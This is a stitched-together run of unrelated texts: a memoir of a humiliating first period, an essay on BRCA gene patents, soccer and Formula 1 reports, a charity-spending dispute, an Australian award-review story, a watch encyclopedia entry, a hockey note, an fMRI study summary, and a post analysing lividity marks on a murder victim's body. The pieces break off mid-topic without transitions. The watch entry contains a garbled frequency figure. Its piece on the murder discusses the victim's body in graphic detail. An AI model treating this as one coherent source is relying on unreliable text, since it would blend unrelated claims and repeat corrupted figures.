Rose followed closely behind to help shield everyone from a view of my bleeding backside as I rushed to the tiny galley bathroom. I closed the door quickly behind me, pulled down my stained white shorts, stripped off my soaked-through underpants and threw them into the garbage after attempting to rinse them off in the bathroom sink to no avail.
I sank down onto the toilet and felt the flow of blood dripping into the water. I was dazed.
My first period wasn’t supposed to happen this way. It was supposed to be like Are You There God, It’s Me, Margaret: I was supposed to wake up in the morning, discover blood on the toilet paper, shyly declare my discovery to my mother, who was to take me by the shoulders, look me in the eye and announce “You’re a woman now.” I was supposed to glow with a quiet sense of momentous pride.
I wasn’t feeling proud. I was feeling disgust and shame and betrayal. My body had betrayed me.
There was a knock on the door: Rose had gotten one of the chaperone moms. She poked her head into the bathroom to see me sitting helplessly on the toilet without any pants on. My eyes filled with tears at the sight of her.
“Oh, honey. It’ll be okay. I’ve got a tampon for you.”
A tampon? Oh, God.
I flashed back to 5th grade, when my best friend Dayle and I got a hold of her older sister’s box of Super Plus Tampax and dared each other to try one out, just to see what it was like. The huge, dry cotton cylinder had gotten stuck in my non-menstruating pre-pubescent vaginal canal, and I spent the rest of the night locked in Dayle’s bathroom, panicked and tugging at the unyielding blue string. Eventually, the tampon came out, but I had vowed to never use such an evil contraption once I started my period.
The mom must have seen the fear in my eyes, because she said “Don’t worry, sweety. You’ll still be a virgin.”
Oh, no. I hadn’t even thought about the de-virginizing factor. But they had already told us in health class that tampons don’t pop your cherry, so I wasn’t overly concerned.
I realized that the tampon was my only option at this point. My soiled panties were at the bottom of a trashcan, and my flow was strong enough to soak through a wad of toilet paper in minutes.
So I took the Playtex from the hand she had stuck into the bathroom and as I unwrapped it, she insisted on bellowing instructions through the cracked door despite my assurances that I knew what I was doing. As I began to insert the tampon, she said “Now when it’s time for you to take it out, just pull on the string and…go with the flow.”
After the tampon had been inserted, I put my stained shorts back on. I washed my hands and opened the bathroom door.
My entire 8th grade class was waiting for me. Every single one of them. A member of the Jewish American Royalty clique began the slow clap. The gradual applause full of contempt and mockery caught on until almost every member of Pikesville Middle School’s graduating class was clapping and hooting and laughing.
“GO WITH THE FLOW!” some of them chanted. “GO WITH THE FLOW!”
Someone gave me a sweatshirt to tie around my waist. Someone escorted me to a table in the deserted galley, far from the rest of the kids. Someone, I think it was my friend Jeannie, sat with me and acted like a security guard every time a kid passed my table to sneer and toss an insult my way.
“Leave her alone,” Jeannie would say. But my humiliation was much too succulent for hormonally-charged 13-year-olds to pass up. They circled me like sharks, darting in every once in a while to take a bite out of my self-esteem. Thank God I only had a month of school left with those monsters.
But every month, for years after that incident, I would feel a mixture of disgust and shame at the sight of my blood on the toilet paper. And then I would feel betrayed by my body.
My Body Wasn’t the Problem
Now, after my body has contributed two boys to this world, I feel betrayed by the culture of shame and taboos that surround menstruation.
I feel bemused that despite having been witness to the birth of both of my children, despite having seen my body at its most vulnerable and its most intimate, my husband still feels embarrassed or somehow emasculated about picking up feminine products from the grocery store.
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The idea of having your genome Balkanized into small fiefdoms of intellectual property may sound offensive, but do gene patents make any practical difference?
Well, genetic information, much like a text, is encoded as a sequence of chemical “letters.” The alphabet of DNA consists of four letters (whose chemical names are abbreviated as A, C, T, or G), and each gene is made up of a sequence of tens of thousands of these letters. Scientists read the text of a gene by “sequencing” it: determining its sequence of letters. Knowing the sequence of a gene is not just important to scientists who study how that gene works; the sequence is also important for patients who are worried about their genetic risk for certain diseases. Each of us has small misspellings, deletions, and insertions scattered all over our genetic text—it’s what makes us unique from one another—and while most of these mutations are harmless, some are dangerous. For example, the information in the sequence of your particular copy of the gene BRCA1 can tell you whether you are at high risk for breast cancer. By sequencing the BRCA1 gene, you (or your mother, wife, or daughter) can find out whether you have a high-risk version of BRCA1—as long as you pay Myriad Genetics to read your sequence, because Myriad owns a patent on the sequence of your BRCA1 gene.
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How did Myriad Genetics get a patent on the naturally occurring DNA sequence of the BRCA1 gene of every man, woman, and child in America? (They also own a patent on the sequence of BRCA2, another breast cancer risk gene.) Here’s the trick: you can own the naturally occurring sequence of a gene by making a patent claim to all physical copies of that sequence that exist outside of human cells.
This trick works because, in the process of sequencing a gene, scientists create a synthetic copy. This synthetic copy is chemically the same as the original; it has the exact same sequence of chemical letters that was put together by nature inside your cells. Synthetic copies of genes are routinely created in the lab using very general methods widely used by molecular biologists for decades, methods that were not invented by Myriad Genetics. However, Myriad was first to sequence the BRCA1 gene, and they claimed physical copies of the BRCA1 sequence as their original invention. The result is that nobody can read the sequence of any BRCA1 gene of anyone in America without Myriad’s permission.
THE IDEA OF HAVING your genome Balkanized into small fiefdoms of intellectual property may sound offensive, but do gene patents make any practical difference? Yes and no. If you are worried about your genetic risk for breast cancer and Myriad doesn’t take your insurance, you’re out of luck. Want a second opinion on Myriad’s interpretation of your genetic risk? Nobody is legally allowed to offer one. Aggressively protected gene patents also interfere with basic research focused on studying how genes function and contribute to disease, because they prevent scientists from using basic research tools to study those genes.
(What’s the point of a gene patent, then? Money. Your BRCA1 sequence is important to you, and Myriad wants you to pay them, and only them, for it.)
Most Vindicating
During pregame, I was telling anyone who would listen that Austin da Luz’s return was going to be exciting. I felt good about that after a play in the 36th minute. The RailHawks were on a counter and Kupono Low was overlapping. Most NASL wing midfielders would have played the overlap and it would have been considered a fine ball.
However, the focus of Carolina’s offense generally is to get Tiyi Shipalane the ball in space. So da Luz took a couple of touches inside before switching the ball to Wes Knight, who played it to Shipalane with room to operate and the Minnesota defense out of position. The result was a corner kick.
“I like to think I bring a little composure, to help the team keep possession is kind of my job out there,” he said after the game. That patience and resolve paid off when da Luz passed up several good opportunities to shoot only to find the perfect moment to score Carolina’s third goal.
Most Encouraging
Carolina’s attack going forward opens up if da Luz and Low can keep threatening down the left side. The RailHawks’ 2nd goal was created because Low caught Minnesota’s defense napping, but Shipalane was so wide open on the back end because the majority of the first-half attention was spent pounding the left side, tilting the defense.
If the phrase “Shipalane was so wide open” happens to you, you’re doing something wrong defensively, and Minnesota has some shape issues to work out. But Low and da Luz were determined to make the defense focus on them, even if it came at the expense of Low being caught out of position to defend the cross on Minnesota’s goal.
Most Disappointing
When the other team’s holding midfielder gets sent off in the 60th minute, you should be able to muster more than two mediocre shots on goal. And yet, the Loons just couldn’t create anything through the middle. Credit Connor Tobin and Futty Danso for snuffing out many attacks at the top of the box, and Neil Hlavaty did fine stepping into the holding role.
But for being up a man and down two goals, Minnesota’s attack was unusually listless, resorting often to crosses that Tobin and Danso had no trouble clearing. All three of Minnesota’s subs were geared toward injecting new ideas, according to Lagos. None of it worked though, and Loons fans are allowed to fret over this lack of creativity from anyone who doesn’t, like Kevin Venegas, have a song dedicated to him.
Weirdest Moment
It took referee Robert Sibiga about a minute to send off Wells Thompson. It seemed like he had forgotten he had booked Thompson in the first half, which was curious because whether or not you give someone a yellow card should not depend on whether you’ve already given him one. But if the second yellow was for persistent infringement, then it’s possible that the reason Sibiga gave Thompson a yellow in the first place was because he was remembering all the fouls Thompson doled out in the first half without remembering that he had already booked Thompson for those. That is not what you want from your center referee.
Least Surprising Post-Game Quote
“I thought some of the referee’s decisions were a little bit soft,” Colin Clarke said after a game in which the above happened.
Most Surprising Post-Game Quote
Manny Lagos blamed himself for Minnesota’s lack of preparation after the loss, but that wasn’t particularly surprising. Coaches do that all the time.
However, when asked which area of the game disappointed him the most, Lagos cited that the team struggled to deal with the heat. He said it hurt the team’s ability to stay compact and that it affected Kalif Alhassan so much that he had to be subbed off.
They have been branded 'utter disgrace' following release of new report
And Lloyd's Register Foundation used only 1% of money on such causes
Nearly 300 allegedly spent just 10% on charitable activities in three years
Some of the country's biggest charities have been branded an 'utter disgrace' after a new report claimed one in five spend less than half of their income on good causes.
The report, alleges that 1,020 voluntary organisations - with a combined annual income of £6billion - spend half or less of their cash on good work, including the British Heart Foundation and Age UK.
Nearly 300 spend just 10 per cent - and The Lloyd's Register Foundation uses only one per cent of the money, according to the explosive document.
Many charities disputed the figures in the report - released today by the True and Fair Foundation - deeming them 'totally misleading'.
Shocking: This graph, created by the True and Fair Foundation 'based on data from the Charity Commission and Companies House', shows charities' average spending on charitable activities over the last three years
But Gina Miller, founder of the True and Fair Foundation said in a statement: 'It is an utter disgrace that so much of the money people generously give is going to feed large charity machines, which are often characterised by obscene overheads and salaries, aggressive fundraising, and bloated marketing and publicity departments; resulting in questionable levels of charitable spending.'
The report claims that Cancer Research UK and The Guide Dogs For The Blind Association - two of the UK's biggest charities - spend 64 per cent of their respective incomes on charitable activities.
Meanwhile, Marie Carie was found to give just one per cent more of its donations - at 65 per cent.
Below the 50 per cent mark, the British Heart Foundation was said to spend an average of just 46 per cent of its cash on good work - while Age UK apparently gives a slightly higher 48 per cent.
Under fire: The report alleges a fifth of Britain's best-known charities - including the British Heart Foundation (file picture) are putting less than 50 per cent of total income toward 'charitable activities'
Analysis: Another graph by the True and Fair Foundation, apparently based on Charity Commission figures
And the LRF, The Racing Foundation and The Motability Tenth Anniversary Trust seemingly spent just £20million between them on charitable work over the past three years, the report shows.
Many of these charities are given large sums of public money annually, as well as donations.
The True and Fair Foundation analysed data on 5,543 charities - with a combined annual income of £40.7billion - to discover 'how much of their income was spent on the end charitable activities'.
It looked at figures from the Charity Commission's websites in relation to each organisation.
Its 'A Hornets' Nest' report, first seen by The Telegraph, claims that 17 'large charities' with a £50million or higher annual income spend an average of just 43 per cent on good work.
Ms Miller said: 'The army of extraordinary small and medium size charities who form the backbone of our communities are being drowned out by some of these extravagant and grossly inefficient big brand charities.
'It is time a light was shone on the sector so people can see just how their hard earned money is really being spent by all charities. There are too many examples of charities of all sizes failing to remember that they exist for the sake of their beneficiaries, not the staff.'
Charities' minister: Rob Wilson said last night that voluntary organisations need to 'reassure people and make very clear that the money donated to them will be spent on frontline charitable activities'
Charities' minister Rob Wilson said last night that voluntary organisations need to 'reassure people and make very clear that the money donated to them will be spent on frontline charitable activities'.
He told The Telegraph: 'It's important for charities to be as transparent and accountable as possible - so people can make an informed decision about where their money goes.'
When approached by the newspaper, a Lloyd's spokesman said the LRF is not a publicly funded charity, but is instead, funded 'by the profits from its trading entity, Lloyd’s Register Group Ltd.'
'The confusion comes from accounting requirements which require us to list the total turnover of the trading group (Lloyd’s Register Group Ltd) as ‘income’ – whereas in reality the Foundation’s income comes from the trading group gift-aiding a proportion of its profits and from investments,' he said.
Martin Miles, chief financial officer at the British Heart Foundation, said nearly 80 per cent of the charity's income was spent on life-saving research and benefiting the lives of heart patients.
In a statement to MailOnline, he said: 'This report gives a distorted view of the proportion of our income that we spend on charitable activities, as it doesn’t allow for the very different financial profile of running the UK’s largest network of charity shops.
'Of the £147.3 million raised by the British Heart Foundation in 2014/15, around 78 per cent (£114.6 million) was available to fund life saving research and to improve the lives of heart patients. This was entirely due to the efforts of our supporters, as we receive no government funding for our research.'
A British Heart Foundation spokesman added: 'We would strongly dispute that this report is evidence of financial inefficiencies or poor governance within charities.
'It doesn’t take in to account the variety of ways in which charities are structured which inevitably affects how much they need to spend to generate their income.
'For the BHF (and some of the other charity retailers the report includes) it doesn’t account for the fact that we run the largest and most profitable network of charity shops in the UK.'
Cancer Research also said it had spent 80 per cent of its income on good work (excluding the cost of running its shops).
Major charity: The report claims that Cancer Research UK (file picture) and The Guide Dogs For The Blind Association - two of the UK's biggest charities - spend 64 per cent of their incomes on good causes
A spokeswoman referred MailOnline to a blog on its website, where it says 'for every £1 donated... 80p is used to beat cancer.'
Meanwhile, Age UK said it had used nearly 95 per cent of its cash on such causes.
A spokesman said: 'The report is incorrect in how it is presenting Age UK accounts. During 2014/15, Age UK raised income of £90.1million (fundraising income, charity income and commercial profits) from which we spent £84million on charitable activity.'
And a spokeswoman for Guide Dogs told MailOnline: 'We believe that the figures in the True and Fair Foundation’s report are inaccurate and misleading. What the report has deemed as non-charitable expenditure can be linked to trading, fundraising, sales of assets or building reserves, which generate additional income and help donations to go further.
'As the guide dog service does not receive any government funding, we rely on donations from individuals to continue to fund our life-changing work.
'We will continue to carefully monitor our financial position.'
The Association of Chief Executives of Voluntary Organisations also criticised the True and Fair Foundation's report, accusing it of excluding campaigning in its description of 'charitable activity'.
It's important for charities to be as transparent and accountable as possible - so people can make an informed decision about where their money goes Rob Wilson, charities' minister
Sir Stephen Bubb, Chief Executive of ACEVO, said: 'It is bizarre that people who worked in the sophisticated world of finance have overlooked the lesson of the Kids Company collapse.
'Namely, that to spend every penny on the frontline and neglect other essential spending leads inevitably to the collapse of the frontline with tragic consequences.
'Kids Company taught us that it is vital that charities invest money in resilience, professionalism and for the long term.
'This flawed and simplistic analysis arbitrarily defines ‘charitable activity’ to exclude campaigning and other fund raising activity.
'Yet these are the lifeblood of the great British charitable tradition. We work to alleviate the symptoms of disease and poverty and to tackle the causes of such. Donors give money for both.'
The Charity Commission agreed that the analysis was 'flawed'.
It added that the report had not 'considered basic information in the charities’ accounts'.
In a blog, the National Council for Voluntary Organisations referred to the report as 'neither true nor fair', explaining how charities add public donations to their trading to boost the amount of money they have to spend on good causes. It described the study as 'misleading in its analysis'.
· Job losses could trigger rate cuts
The Abbott government has urged the national workplace tribunal to conduct a “comprehensive examination” of minimum pay and conditions contained in the award system to contain employment costs.
A submission on behalf of the Employment Minster, Eric Abetz, argues that the “softening economic environment and labour market should be carefully considered” by the Fair Work Commission during a four-yearly review of the award system.
“In particular, the Commission should consider the impact of employment costs on employers’ decision to hire workers over the next four years,” the submission said.
The submission acknowledged that the review had the “potential for significant changes to modern awards”.
But Senator Abetz’s office did not answer a question from The New Daily on whether the government would support award changes that would lead to cuts in real wages.
“It would not be appropriate to provide additional commentary whilst the proceedings are under way,” said a spokesman for Senator Abetz.
“The government’s position is as set out in the submission.”
Employer groups in the hospitality, tourism and retail sectors have previously flagged that they will renew their arguments to cut penalty rates for working on weekends and public holidays.
Submissions from the Queensland Tourism Council and the Australian Hotels Association show they will also argue for easier access to flexible part-time.
Restaurant and Catering Australia argues that about two thirds of businesses in its industry have an average return of 2 per cent after tax and need changes to stay in business.
The award system sets minimum pay and conditions across a range of industries and occupations.
Most workers are paid at above award rates but the system underpins the enterprise bargaining system between employers, employees and unions.
The ACTU will strongly defend existing pay and conditions in awards, while pursuing seven claims through the review.
These included protections around casual employment, support for victims of domestic violence and flexible working hours for mothers returning from maternity leave.
ACTU assistant secretary Tim Lyons said the Commission had rejected numerous employer calls to cut penalty rates because there was no credible evidence that penalty rates have a negative impact on employment or profits.
“But what we are also seeing is a new assault on the rights of part-time workers as well – in terms of employers seeking to ‘remove unduly inflexible’ part time provisions,” Mr Lyons said.
“This can only mean that employers are seeking to engage part time employees as they would casual employees and do away with set weekly hours and overtime payments when a part-time employee exceeds their daily or weekly hours.
“If these claims were granted we will see a group of workers being treated like casuals while at the same time not receiving any casual loading in exchange.”
The Commission will convene an initial conference of employers and unions in Melbourne on Wednesday and the process will take some months to work through.
The former Labor government pushed through changes to the Fair Work Act last year which required the Commission to consider payment of penalty rates for employees working at particular times.
But the government and the Australian Chamber of Commerce and Industry argue that this applies only to existing entitlements, rather than extending penalty rates to new groups of workers.
The award review comes as the government is already under political pressure for claiming that pay and conditions at the fruit processor SPC Ardmona that were negotiated through enterprise bargaining were overly generous.
The company’s managing director Peter Kelly said claims that SPC Ardmona was a “union shop” or that the problems were caused by allowances and conditions were “mistaken and need to be refuted by the facts”.
Mr Kelly said:
· the total cost of allowances for all production staff at SPC Ardmona for the entire year of 2013 was $116,467, less than 0.1 per cent of the business’s cost of goods for the year;
· SPC Ardmona employees got 20 days annual leave, not nine weeks as claimed;
· 32 per cent of positions across the business had been cut since 2011, while maintenance work was outsourced last year.
Mr Kelly said the employees were aware of the critical and urgent need to transform the business and the majority responded in practical and financial ways to lift productivity to help secure its long term in future in the Goulburn Valley.
And Mexican Esteban Gutierrez, the team's reserve driver, is tipped as a partner for the German, which would leave Kamui Kobayashi without a seat.
Mexican Sergio Perez, Kobayashi's team-mate this year, is joining McLaren to replace Mercedes-bound Lewis Hamilton.
Ex-Toro Rosso drivers Sebastian Buemi and Jaime Alguersuari are vying with former Force India driver Adrian Sutil to be Hulkenberg's replacement.
If he loses the Sauber seat, Kobayashi also has a chance to go to Force India but is likely to have to find some sponsorship to secure the drive.
Sauber have not yet officially confirmed Hulkenberg but the deal is understood already to be done.
Media playback is not supported on this device Korean Grand Prix highlights
Team principal Monisha Kaltenborn has said Sauber will announce their 2013 driver line-up "before the end of the season".
Gutierrez's potential promotion would come at least partly at the behest of Sauber's Mexican sponsors - the team has a relationship with the country's billionaire business magnate Carlos Slim, who Forbes magazine says is the richest man in the world.
Force India are keen on taking back Sutil, the German who lost his drive at the end of last year following his conviction in January on assault charges following an incident in a nightclub after the 2011 Chinese Grand Prix.
Sutil drove for the team through their various guises as Midland, Spyker and Force India from 2006-11.
But there is pressure from some quarters for the team to take Alguersuari, who was dropped by Toro Rosso last year despite an impressive 2011 season.
The Spaniard has spent this year as a test driver for F1 tyre supplier Pirelli and as BBC 5 live's analyst. He declined to comment on his future.
Buemi, Alguersuari's team-mate at Red Bull's junior team from 2009-11, is also in talks with Force India.
He, like Alguersuari and current Marussia driver Charles Pic, has also been linked to Caterham, where the futures of both Heikki Kovalainen and Vitaly Petrov are in doubt.
The team are keen to keep Kovalainen, who has driven for them since their debut as Lotus Racing in 2010, but the Finn is equivocal about staying.
The most important thing is to keep the focus and make the best out of what I've got Heikki Kovalainen
"The most important thing is to keep the focus and make the best out of what I've got," he said.
"Then at some point... I'm getting old and if I want to be successful and win races, I have to look at the options.
"I think the team is doing the right things to move forward. We should be doing better than what we're doing. At the moment, we don't have any deals with everyone. We're talking."
Petrov is having difficulty finding the sponsorship he needs to secure a drive from his native Russia despite the country being poised to host its maiden grand prix in 2014 at the Winter Olympic host city of Sochi.
Citizen Promaster Eco-Drive AP0440-14F Diver's 200 m manufactured in 2000. The 7878 caliber Eco-Drive movement used in this watch can run for up to 180 days on its secondary power cell. Four solar cell segments are just visible under the dial.
[1] Citizen Eco-Drive METAL AW1365-19P featuring a light-absorbing "solar ring" instead of solar cell panels, allowing opaque metal dials to be used.
Eco-Drive is a model range of watches manufactured and marketed worldwide by Citizen Watch Co., Ltd., powered primarily by light. As of 2007, the company estimated the drive system had eliminated the disposal of 10 million batteries in North America.[2]
Citizen introduced the Eco-Drive line to Asia, Latin America, and Europe in 1995 and to the United States in April, 1996.[3]
The Eco-Drive concept introduced several technical refinements over previous solar powered watches, including light-capturing cells that could be made virtually invisible behind the dial instead of highly conspicuous, enhancing the appearance of the watch.
History [ edit ]
Eco-Drive concept [ edit ]
The technical platform that made the Eco-Drive concept possible was the Eco-Drive caliber 7878 movement. This movement was the first light-powered movement where the solar cells could be mounted under the dial. Previous light powered watches from Citizen and other manufacturers had the solar cell(s) mounted directly on the dial. This innovation was enabled by marked improvements in thin film amorphous silicon solar cells, which, by the early 1990s had become significantly more efficient. By locating a sufficiently translucent dial material over the now more efficient solar cells, enough light could pass through the dial face to power the movement. Though the Eco-Drive caliber 7878 movement solar cells remained slightly visible through the dial, the physical styling of the light-powered watch was no longer constrained by visible solar cells.
To store electrical energy the first Eco-Drive movements employed titanium lithium-ion rechargeable or secondary batteries. This battery type became available in the early 1990s, enabling an Eco-Drive 7878 movement to run 180 days on secondary power before requiring recharging via light exposure – a marked improvement in energy storage over previous light-powered watches. The movement also featured an "insufficient recharging" indicator. The accuracy of the quartz movement was stated as within ± 20 seconds per month at a normal temperature range of 5 to 40 °C (41 to 104 °F).[4]
Commercial history [ edit ]
In addition to the first three Eco-Drive models introduced in 1995, Citizen marketed numerous other Eco-Drive models during the 1990s, including the 6.05 mm (0.238 in) thick Eco-Drive Slim of 1996.[5]
Where the first models offered hours, minutes, seconds and date features, ultimately the movements evolved to include a broad range of design features, including complex analog and digital-analog movements and the horological complications of chronographs, flyback chronographs and dive watches.
In the early 2000s, while wristwatch sales declined with the advent of cell phones and their timekeeping capability, demand for Citizen watches in North America remained robust. Eco-Drive models were well received, generating a third of Citizen's North American revenues by 2000. In 2002 the VITRO technology (Eco-Drive VITRO) came on the market, where the solar cells were no longer even slightly visible under the dial. During the mid-2000s, wristwatch sales improved for Citizen thanks to further development of the Eco-Drive line and integration of radio-controlled timing with the 2002 Eco-Drive line.[3]
Eco-Drive Concept Models [ edit ]
Since 2009, Citizen has developed Eco-Drive Concept Models as technology demonstration and marketing tools. These Eco-Drive Concept Models are generally shown at exhibitions and produced in limited editions.[6][7][8] The Concept Model 2011 was the Eco-Drive SATELLITE WAVE that has a movement that can receive time synchronization signals from GPS satellites. This makes radio-controlled timing possible in remote areas that are not serviced by land based radio time signal stations.[9] In 2012 Citizen announced the Eco-Drive RING Concept Model. This watch features a ring-shaped solar cell surrounding the watch case sidewall.[10][11] In 2018 Citizen announced it developed the Caliber 0100 Eco-Drive prototype autonomous high-accuracy quartz watch movement which is claimed to be accurate to ± 1 second per year.[12] Key elements to obtain the high claimed accuracy are applying a for a watch unusual shaped (AT-cut) quartz crystal operated at 223 or 7006838860800000000♠8388608 Hz frequency and thermal compensation.[13] The Caliber 0100 movement will not be available for sale to the public, the technology inside the movement will be introduced in future models, set to launch in 2019.[14]
Recent history [ edit ]
According to Citizen, by 2011 80% of their wristwatches featured Eco-Drive, and the company saw Eco-Drive type watches as the focus of new generations of watches.[15]
In 2012 Citizen offered over 320 Eco-Drive watch models in various types, styles and price ranges.[16]
Eco-Drive technology [ edit ]
Light as power source [ edit ]
Most Eco-Drive type watches are equipped with a special titanium lithium ion secondary battery charged by an amorphous silicon photocell located behind the dial.[17] Light passes through the crystal and dial before reaching the photocell.[18]
Depending on the electronic movement, a fully charged secondary power cell could run with no further charging from 30 days to 3,175 days (8.7 years), though most Eco-Drive men's watch models offer a six-month power reserve.[19] If kept from light for an extended period, some Eco-Drive movement models can hibernate, where the hands of the watch stop and the internal quartz movement continues to track the correct time. When subsequently exposed to sufficient light, the hands move automatically (without human intervention) to the proper positions and resume regular timekeeping.[17]
Temperature difference as power source [ edit ]
Citizen Eco-Drive Thermo watches were introduced in 1999 and use the temperature difference between the wearer's arm and the surrounding environment as a power source. The rare Eco-Drive Thermo watches use the Seebeck effect to generate thermo electricity that powers the electronic movement and charges the secondary power cell. In the sun or in the tropics the ambient temperature can come close to or exceed the temperature of the wearer's wrist causing the watch to stop generating thermo electricity. In case no power is generated, an Eco-Drive Thermo movement will save power by moving the second hand in ten second increments until the production of thermo electricity is resumed.[20] Citizen has stopped making Eco-Drive Thermo watches.
Hybrid Eco-Drive movements [ edit ]
Citizen also built an automatic quartz powered watch, the Citizen Promaster Eco-Duo Drive (released in December 1998).[21] Novel to this watch was the use of both mechanical power as well as a solar cell to power the electronic movement and charge the secondary power cell. This model was an attempt to enter higher-priced markets (at a cost of around $1,000 USD). The Eco-Duo Drive technology failed to attract consumer interest and Citizen has since stopped making use of the unique movement.
Solar cell and secondary battery life expectancy [ edit ]
According to Citizen, experimental data showed the solar cell and secondary battery will last for more than 10 years.[22] According to Citizen Europe, laboratory tests showed that after 20 years the secondary battery retains a power storage capacity of 80% of its initial capacity.[23] Newer Citizen claims state the rechargeable/secondary batteries will last up to 40 years and that it is highly unusual for these batteries to fail.[24]
Maintenance [ edit ]
For water resistant and diving Eco-Drive watches Citizen recommends a watch gasket exchange every 2 or 3 years to preserve their water resistance because watch gaskets, which form a watertight seal, degrade as they age. Further, Citizen recommends maintenance for Eco-Drive watch movements in regular intervals in order to extend the life of the watch movement, since the gears used in running watch movements are subject to slow wear.[22] Citizen states that when their lubricants for Long-Lasting Precision Equipment are used in watches, timepiece movements remain smooth for a long time as the oil does not harden even after 20 years.[25]
Gallery [ edit ]
Citizen Eco-Drive Marinaut Titan GN 4W S.
Citizen Promaster Eco-Drive BN0000-04H Diver's 300 m
Citizen Promaster Eco-Drive BJ8050-08E Diver's 300 m
Citizen Eco-Drive Titanium Sapphire
Citizen Eco-Drive JY8034-58E Navihawk A-T analog-digital chronograph
Leopold, 32, posted two assists in 15 regular season games with the Blues after the club acquired him from Buffalo on Mar. 31 last season. In addition, Leopold dressed in all six games for the Blues during the 2013 Stanley Cup Playoffs.
Overall, the 6-foot-1, 206-pound defenseman has appeared in 10 National Hockey League (NHL) seasons, including stints with Calgary, Colorado, Florida, Pittsburgh, Buffalo and St. Louis. For his career, Leopold has registered 204 points (65 goals, 139 assists) and 268 penalty minutes in 625 regular season games as well as 16 assists in 65 postseason games.
"When we looked at our data, we were shocked that we could successfully decode who our participants were thinking about based on their brain activity," said Spreng, assistant professor of human development in Cornell's College of Human Ecology.
Understanding and predicting the behavior of others is a key to successfully navigating the social world, yet little is known about how the brain actually models the enduring personality traits that may drive others' behavior, the authors say. Such ability allows us to anticipate how someone will act in a situation that may not have happened before.
To learn more, the researchers asked 19 young adults to learn about the personalities of four people who differed on key personality traits. Participants were given different scenarios (i.e. sitting on a bus when an elderly person gets on and there are no seats) and asked to imagine how a specified person would respond. During the task, their brains were scanned using functional magnetic resonance imaging (fMRI), which measures brain activity by detecting changes in blood flow.
They found that different patterns of brain activity in the medial prefrontal cortex (mPFC) were associated with each of the four different personalities. In other words, which person was being imagined could be accurately identified based solely on the brain activation pattern.
The results suggest that the brain codes the personality traits of others in distinct brain regions and this information is integrated in the medial prefrontal cortex (mPFC) to produce an overall personality model used to plan social interactions, the authors say.
"Prior research has implicated the anterior mPFC in social cognition disorders such as autism and our results suggest people with such disorders may have an inability to build accurate personality models," said Spreng. "If further research bears this out, we may ultimately be able to identify specific brain activation biomarkers not only for diagnosing such diseases, but for monitoring the effects of interventions."
The study, "Imagine All the People: How the Brain Creates and Uses Personality Models to Predict Behavior," published online March 5 in the journal Cerebral Cortex and was coauthored by Demis Hassabis, University College London, Andrie Rusu, Vrije Univesiteit, Clifford Robbins, Harvard University, Raymond Mar, York University, and Daniel L. Schacter, Harvard University.
The research was supported in part by the Wellcome Trust and the National Institutes of Health.
Contact Syl Kacapyr for information about Cornell's TV and radio studios.
The most salient points that I want to discuss in her post are these:
Hae’s body was found in Leakin Park in a position like the clay figure Susan created below. These are pictures the police showed Jay, which is why he came up with the phrase “pretzeled up” to fake-describe what she looked like in the trunk of Adnan’s car, where in fact she had never been
This figure is laying on a flat surface, but Hae was partially in a shallow dip behind a log. She was not entirely in it, it wasn’t that wide or deep a hollow. Mostly her torso was in the lower part, while the rest of her body was around ground level.
She was mostly covered with dirt and leaves, with one large rock on her right hand, though it still protruded into the air above ground
She had, again, full anterior lividity, according to the medical examiner at the time, according to the autopsy report, according to trial testimony, and according to every expert we have since asked to review the photographs and reports. The lividity ran from her face, down her torso, and to her legs. It was symmetrical.
There were three double diamond shaped marks around her shoulder area, which Susan illustrated thusly
The one furthest on the right of her body is just as marked here, distinct, with clear sharp edges, the little center pronounced, probably because the surface of the body here is very flat. The others are not as clearly shaped and travel on the curves of the body. Whatever made the marks is NOT a net or something else that would create an outline. It is a solid, flat item in a double-diamond shape.
According to the experts we consulted these marks were made while the lividity set into the body, which is why they are fixed.
There are almost no other marks on her body, not even the mark of things one would expect, such as a bra.
Those are the major factual points raised by Susan. This isn’t being done for fun, none of this is fun. But there is a small group of sick people on Reddit, who are probably paid disrupters considering their posting patterns, who have apparently gotten a hold of the crime scene pictures and have been passing them around. Let that sink for a bit. Anonymous, random internet strangers passing pictures of Hae’s body around. Not because they are credentialed or experts, but just because they can. And thanks to their noise, there is a chance these pictures may get released onto the internet. I hope, for Hae and her family’s sake, they are not. She doesn’t deserve it.
They are awful, devastating, heart breaking photographs to view. In the same way I never wanted to visit the burial site, I never wanted to see these pictures. But in the course of an investigation, it’s unavoidable. Susan, Colin, and I have done everything imaginable to honor Hae and not share the photographs unless necessary to render an expert opinion, even though they are part of the public record. For us, this is not about sensationalism , we are not engaged in a spectator sport. We are trying not only to exonerate Adnan, but also to determine what happened to Hae.
In order to do that, we have to return again and again to the real evidence, the only hard evidence we have. Hae’s body and the burial scene. That is where we will find our answers, it’s through these things that Hae will speak to us.
WHAT I HEAR
This is what I hear from the evidence, what I hear Hae tell us:
In no uncertain terms was Hae left in the burial position until after lividity fixed in her body. The lividity does not match the body, period. The lividity fixed elsewhere, wherever she was actually killed. Hae was not neatly laid to rest. She was hastily dumped and covered up. Jim Clemente, the famous FBI profiler, has more to say about this, but you’ll hear from him when Bob interviews him in the near future. Her position suggests she may have been rolled in something to move her there, perhaps a blanket, and then unrolled and left in whatever position she landed in. She was still wearing jewelry, ie this was not a robbery as it was in Jada Lambert’s case. She was clothed, but her clothing was disheveled, her bra pushed up, her skirt pushed up. This likely happened from being moved to Leakin Park and not necessarily a sign of an assault. When the lividity fixed she was laying face down, flat. She was not in a car trunk. She was in a position that her face, body, legs were all laying flat. Her body was laying on something that made those shapes on her shoulders. Because of the way the shapes shift on different points on her body, I tend to think whatever made the marks was of a flexible material and not a hard, rigid material like steel, plastic, or wood. When people die in their clothing and lividity fixes with the clothing on, you can easily see the outline of the clothing. I won’t link to it but you can easily find photographs on line of bodies with lividity that have clear impressions of mattresses, entire bras, underwear, etc. Because there is literally no other mark on her upper body, it may mean she was not clothed above the waist when lividity fixed. I say may because I’m not an expert. But I see no way for no other marks to be visible. After all, she was found wearing a bra, but her body had no marks reflecting it. Which means, if she was indeed not clothed, and laying flat somewhere, it most likely was a private space, like a room, garage, etc. Because even mattress designs, carpets, and tiles will create marks on a body, she must have been laying on something smooth, ie a blanket, tarp, sofa cushions, etc.
The double diamond shapes could help us identify where Hae was killed and where her body was when the lividity fixed. The shapes, by the way, were identified and pointed out by Susan a while ago. We’ve been in private discussions and consultations trying to figure what they are. Going public with them, hopefully, will help us identify what made those marks. We are getting tons of suggestions, but most of those suggestions fit the “close but no cigar” mark.
